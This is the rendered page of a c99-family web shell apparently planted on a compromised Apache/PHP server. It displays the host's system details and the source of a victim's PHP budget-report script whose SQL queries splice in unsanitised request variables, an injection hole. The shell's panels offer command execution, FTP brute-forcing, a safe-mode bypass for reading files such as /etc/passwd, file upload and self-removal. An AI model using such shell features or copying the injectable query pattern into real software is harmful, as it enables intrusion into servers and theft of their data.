!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Plan_new/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelReportPlaning.php (10.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="Report.xls"');
include(
"../include/FunctionDB.php");

 
ConnectDB();
$sql "SELECT * FROM  project_tb  WHERE   Budget_Year='$Budget_Year'   and  Faculty_code='$Faculty_code'   ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
$strSQL "Select * FROM  project_tb   Where  Budget_Year='$Budget_Year'   and  Faculty_code='$Faculty_code'  and    MoneyId='$MoneyId'  Order By    Orderlist  , Date  ASC ";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-weight: bold;
}
.style2 {font-size: 14px}
.style3 {
    font-family: Tahoma;
    font-size: 14px;
}
.style16 {color: #FF0000}
.style5 {font-family: Tahoma; font-size: 14px; color: #000000; }
-->
</style>
<table width="809" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="832"><br />
          <fieldset>
            <legend><span class="style3"><a href="PlaningByYear.php" class="style2"></a></span></legend>
            <form id="form" name="form" method="get" action="SearchRepPlaning.php">
<table width="91%" border="1" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray">
                  
<tr bgcolor="#CCCCFF">
                    <td height="24" colspan="7" bgcolor="#FFFFFF" >&nbsp;</td>
          </tr>
                  <tr bgcolor="#CCCCFF">
                    <td height="24" colspan="7" ><div align="center" class="style1"><span class="style2"><font color="#000000" face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma"> รายละเอียดการใช้เงินตามแผนดำเนินการประจำปีงบประมาณ </font></font></font></span><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font color="#000000" face="Tahoma"><strong><span class="style2"><font color="#000066" face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#003399"><? echo $Budget_Year?></font> </font></strong></font></font></font></span></strong></font></strong><span class="style2"><font color="#000000" face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma"><font color="#000066" face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma">หน่วยงาน</font></font></font></font></font></font></font></font></span></font></font> <span class="style2"><font color="#000000" size="2" face="Tahoma">
                    <?php
         
//$Faculty_code  = $row[Faculty_code];
         
$sql3 "Select * From  faculty_tb   Where  Faculty_code='$Faculty_code'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
"$rss[Faculty_name]";
         
?>
                    </font></span></div></td>
                  </tr>
                  <tr bgcolor="#E6E6E6">
                    <td width="26" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td colspan="2" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td width="402" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td width="115" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td width="91" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td width="76" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#E6E6E6">
                    <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style3">No</span>  <div align="left"></div></td>
                    <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td colspan="2" align="center" bgcolor="#FFFFFF" style="border:0px solid gray">ปีงบประมาณ
                    <?php
         
//$Faculty_code  = $row[Faculty_code];
         
$sql3 "Select * From  faculty_tb   Where  Faculty_code='$Faculty_code'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
"$rss[Faculty_name]";
         
?>
                    </td>
                    <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                    <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
          </tr>
                  <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
                  <tr bgcolor="#F7F7F7" >
                    <td align="center" bgcolor="#FFFFFF" ><font color="#996600" size="1" face="Tahoma">
                      <?=$i?>
                    </font></td>
                    <td width="23" align="center" bgcolor="#FFFFFF"  ><?=$row["Orderlist"]?>  </font></td>
                    <td colspan="2" align="left" bordercolor="#EEEEEE" bgcolor="#FFFFFF" > <font color="#996600" size="2" face="Tahoma">
                      <?=$row["Training_name"]?>
                    </td>
                    <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><font color="#0033CC" size="2" face="Tahoma">
                      <?php
        $MoneyId 
=  $row["MoneyId"];
         
$sql "Select * From money_tb   Where  MoneyId='$MoneyId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[MoneyName]";
         
?>
                    </font></td>
                    <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><font color="#003366" size="2" face="Tahoma"><font color="#003366" size="2" face="Tahoma">
                      <?=$row["Date"]?>
                    </font></font></td>
                    <td align="center" bgcolor="#FFFFFF" ><font color="#993333" size="2" face="Tahoma"><?echo number_format($row['Budget_use'],2,'.',','); ?></font></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bgcolor="#FFFFFF">
                    <td align="center" bordercolor="#FFFFFF" ><font color="#996600" size="1" face="Tahoma">
                      <?=$i?>
                    </font></td>
                    <td align="center" bordercolor="#EEEEEE" ><?=$row["Orderlist"]?><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font></td>
                    <td colspan="2" align="left" bordercolor="#EEEEEE" ><font color="#996600" size="2" face="Tahoma">
                      <?=$row["Training_name"]?>
                    </font></td>
                    <td align="center" bordercolor="#EEEEEE" ><font color="#0033CC" size="2" face="Tahoma">
                      <?php
        $MoneyId 
=  $row["MoneyId"];
         
$sql "Select * From money_tb   Where  MoneyId='$MoneyId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[MoneyName]";
         
?>
                    </font></td>
                    <td align="center" bordercolor="#EEEEEE" ><font color="#003366" size="2" face="Tahoma"><font color="#003366" size="2" face="Tahoma">
                      <?=$row["Date"]?>
                    </font></font></td>
                    <td align="center" bordercolor="#FFFFFF" bgcolor="#FFFFFF" ><font color="#993333" size="2" face="Tahoma"><?echo number_format($row['Budget_use'],2,'.',','); ?></font></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
?>
                  <tr bgcolor="#FFFFFF">
                    <td colspan="6" align="center" ><span class="style2"><font color="#0033CC" face="Tahoma"><font color="#993333">จำนวนเงินที่ใช</font></font></span></td>
                    <td align="center" ><strong><font color="#993333" size="2" face="Tahoma">
                      <?php         
        
          $sql1 
"Select Sum(Budget_use) as SumB1 From project_tb Where  Budget_Year='$Budget_Year'  and Faculty_code='$Faculty_code'  and  MoneyId='$MoneyId'   ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td colspan="6" align="center" ><font color="#0033CC" face="Tahoma"><font color="#993333">วงเงินที่ตั้งไว้ตามแผน</font></font></td>
                    <td align="center" ><strong><font color="#993333" size="2" face="Tahoma">
                      <?php         
        
          $sql2 
"Select Sum(Budget_total) as SumB2 From  project_type_tb   Where  Budget_Year='$Budget_Year'  and Faculty_code='$Faculty_code'    ";
          
$result2 mysql_query($sql2) or die("Erro".mysql_error());
          
$rss2 mysql_fetch_array($result2);
           echo 
number_format($rss2[SumB2],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td colspan="6" align="center" ><font color="#0033CC" face="Tahoma"><font color="#993333">คงเหลือเงินตามแผน</font></font></td>
                    <td align="center" ><strong><font color="#993333" size="2" face="Tahoma">
                      <?php
    $Delete3 
$rss2[SumB2] - $rss1[SumB1] ;
    echo 
number_format($Delete3,2,'.',',');
    
// echo"$Del4";
     
      
?>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#CCCCFF">
                    <td colspan="7" align="center" bgcolor="#FFFFFF" ><span class="style2"><font color="#000000" face="Tahoma">ทั้งหมด</font></span><font color="#003399" size="2" face="Tahoma"> <? echo $num ?></font> <span class="style2"><font color="#FFFFFF" face="Tahoma"><font color="#003366">รายการ</font><font color="#FFFFFF">&nbsp;</font></font></span></td>
                  </tr>
                  <tr bgcolor="#CCCCFF">
                    <td colspan="7" align="center" bgcolor="#FFFFFF" >&nbsp;</td>
                  </tr>
              </table>
          </form>
        
          </fieldset>
      </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--